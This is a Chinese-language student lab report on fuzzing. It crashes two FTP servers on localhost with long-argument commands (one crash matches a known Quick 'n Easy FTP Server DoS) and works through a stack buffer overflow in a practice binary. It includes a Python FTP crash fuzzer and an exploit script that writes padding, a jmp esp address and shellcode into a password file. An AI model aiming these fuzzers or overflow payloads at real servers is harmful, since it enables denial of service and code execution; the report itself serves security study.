漏洞挖掘与模糊测试

目标

了解 fuzz 原理,使用此方法模糊测试两种 ftp 服务器软件的漏洞,使其停止工作。

测试步骤与结果

Easy FTP Server 的 Fuzz 过程(FtpFuzz 工具法)

  1. 打开 Easy FTP Server3.1,点击 Start 开始服务。
  2. 打开 FTP Fuzzer,把 USER 和 PASS 的参数改为 anonymous

    不要选中右上角的 Fuzz this FTP command

  3. 配置 fuzz 所用的脏数据,我们的目标是 LIST 指令。
  4. 设置好服务器地址和端口,然后点击 start 开始。
  5. 在输出中时不时观察到有 425 错误:不能打开数据连接产生
  6. 出现红色的输出代表着 FTP 服务器已经宕机
  7. 查看同目录下的 ftptrace.txt,发现是因为输入的命令过长,导致了服务器处理命令时缓冲区溢出,服务宕机。

Home FTP Server 的 Fuzz 过程(python 脚本法)

fuzz 源码

fuzz.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket,sys
def ftp_test(ip,port1):
target = ip
port = port1
buf = 'a'*272
j=1
fuzzcmd = ['mdelete ','cd ','mkdir ','delete ','cwd ','mdir ','mput ','mls ','rename ','site index ']
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
connct = s.connect((target,port))
print "[+] Connected!"
except:
print "[!] Connection Failed!"
sys.exit(0)
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS 123456\r\n')
s.recv(1024)
print "[+] Sending payload..."
for i in fuzzcmd:
s.send(i + buf*j + '\r\n')
s.send(i + buf*j*4 + '\r\n')
s.send(i + buf*j*8 + '\r\n')
s.send(i + buf*j*40 + '\r\n')
try:
s.recv(1024)
print "[!] Fuzz failed!"
except:
print "[+] Maybe we find a bug!"

if __name__ == '__main__':
ftp_test("127.0.0.1",21)
  1. 首先让 ollydbg 附加进程到 ftpserver 上
  2. 运行脚本,发现全部输出了 fuzz failed,但与此同时,ftp 服务也停止了。下一次再运行脚本,就会输出 Connection failed
  3. 查看 system log,发现其在接收两次过长参数的 site index 垃圾指令后停止运行。
  4. Homeftpserver 发生崩溃时,跳转到 KERNEL32.77399ED8 时产生了异常 0EEDFADE

测试结论

  • 2.1 实际上复现了 Quick’n Easy FTP Server Lite Version 3.1 远程拒绝服务漏洞 [1],FTP 协议中的 LIST 命令后的用户数据长度如果超过 232,同时最后字符以 ? 结尾,就会造成这个程序的崩溃。

  • 2.2 可以通过自己编写的 fuzz 代码实现对 ftp 服务器发送脏数据包以实现 fuzz 攻击,达到让目标服务器崩溃的效果。虽然可以找到崩溃的位置,但本次实验未能探究到崩溃的原因。

思考题

  1. 初次运行结果如下,用 IDA32 位打开源程序进行逆向分析。

  2. 整体过程就是加载 user32.dll,打开 password.txt 读出内容,然后与 "1234567" 作比较,若相等,则通过验证。我们可以看到在 sub_401030 有一个无界写入有界的 strcpy 操作,很容易发生溢出,那么我们要怎么知道在什么时候发生溢出呢?

    sub_401005 仅仅是跳转到了 sub_401030

  3. 首先通过 fuzz 计算 “缓冲区” 大小。每次向里填充一个字符,最终计算出我们需要填充字符的数量为 11940 比特。在填充满之前,会引发右图所示错误,注意到其中有提示 "ESP was not properly saved",说明 ESP 可能被覆盖掉了

    fuzz 源码

    fuzz.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    import os

    rpwd = "Congratulation! You have passed the verification!\n"
    wpwd = "incorrect password!\n"

    def write_file(num):
    with open("password.txt","w+") as fp:
    fp.write("a"*num)
    def get_output():
    p=os.popen("overflow_exe.exe")
    return "".join(p.readlines())

    def is_valid_output(output):
    try:
    return output in (rpwd,wpwd)
    except:
    return False

    def fuzz():
    i = 100
    breakout_num = 0
    for i in range(100,20000,100):
    write_file(i)
    if is_valid_output(get_output()):
    print "[+] Writing {} letters to password.txt".format(i)
    continue
    else:
    for j in range(i-100,i,10):
    write_file(j)
    if is_valid_output(get_output()):
    print "[+] Writing {} letters to password.txt".format(j)
    continue
    else:
    for k in range(j-10,j+1):
    write_file(k)
    if is_valid_output(get_output()):
    print "[+] Writing {} letters to password.txt".format(k)
    breakout_num=k
    continue
    else:
    breakout_num=k
    break
    break
    break
    break
    print "[*] The program broke up after %d bytes of 'a's."%breakout_num
  4. 还有一个缓冲区?通过 ollydbg 调试可以看到在检验密码的函数中有一个 MOV,EAX 2EE4 操作,中间取了 [EBP-2EE4] 的有效地址,后面还有一个 ADD,ESP 2EE4 操作,可以推断这是再开辟另一块缓冲区,大小为十进制的 12004 字节。

  5. 此时 EBP 的值为 0x35f20

  6. 我们输入的 “密码” 被复制到了 0x3307c 开头的地址上。0x35f20-0x3307c=11940(10 进制),与之前 fuzz 结果相同,说明 11940 字节一旦占满,程序就会崩溃

  7. 上图是当 11940"a" 被复制时,栈上的情况。可以看到 0x35f20 中的末两位被 11940"a" 字符串的末尾 \0 所占,导致返回地址错误,程序崩溃

  8. 所以这个缓冲区的大小为 11940-4(32位系统的ebp大小)=11936 字节。一旦缓冲区大小被计算出来,就可以根据前几次作业中缓冲区溢出的知识来通过 “验证”。

  9. 这次仍然利用 jmp esp 地址 77f8948b 作为跳板

  10. Payload 最终格式为:填充物(11940 个 a 含 4 字节 ebp)+jmp_esp 地址 + shellcode (jmp 00401147) 。构造 password 文档如下

exploit.py
1
2
3
4
5
def final_leak():
shellcode = "\xe9\x1a\xb2\x3c\x00\x90\x90\x90"
fill_in = "a"*11940+"b"*4
with open("password.txt","w") as f:
f.write(fill_in+jmp_esp+shellcode)
  • 但是执行这个 shellcode 过后跳到了旁边的地址上,没有成功通过验证。只能在跳到 esp 地址后通过修改汇编以跳入验证成功语句中。
  • 可能是指令在执行的过程中遇见了坏字符导致其在内存中的值发生了变化,致使执行不成功。
  • 但是可以成功溢出,因为在调试的时候已经发现可以陷入内核中,从 jmp esp 地址中返回程序,shellcode 被成功解析了。

  1. Quick 'n Easy FTP Server Lite 3.1 - Denial of Service ↩︎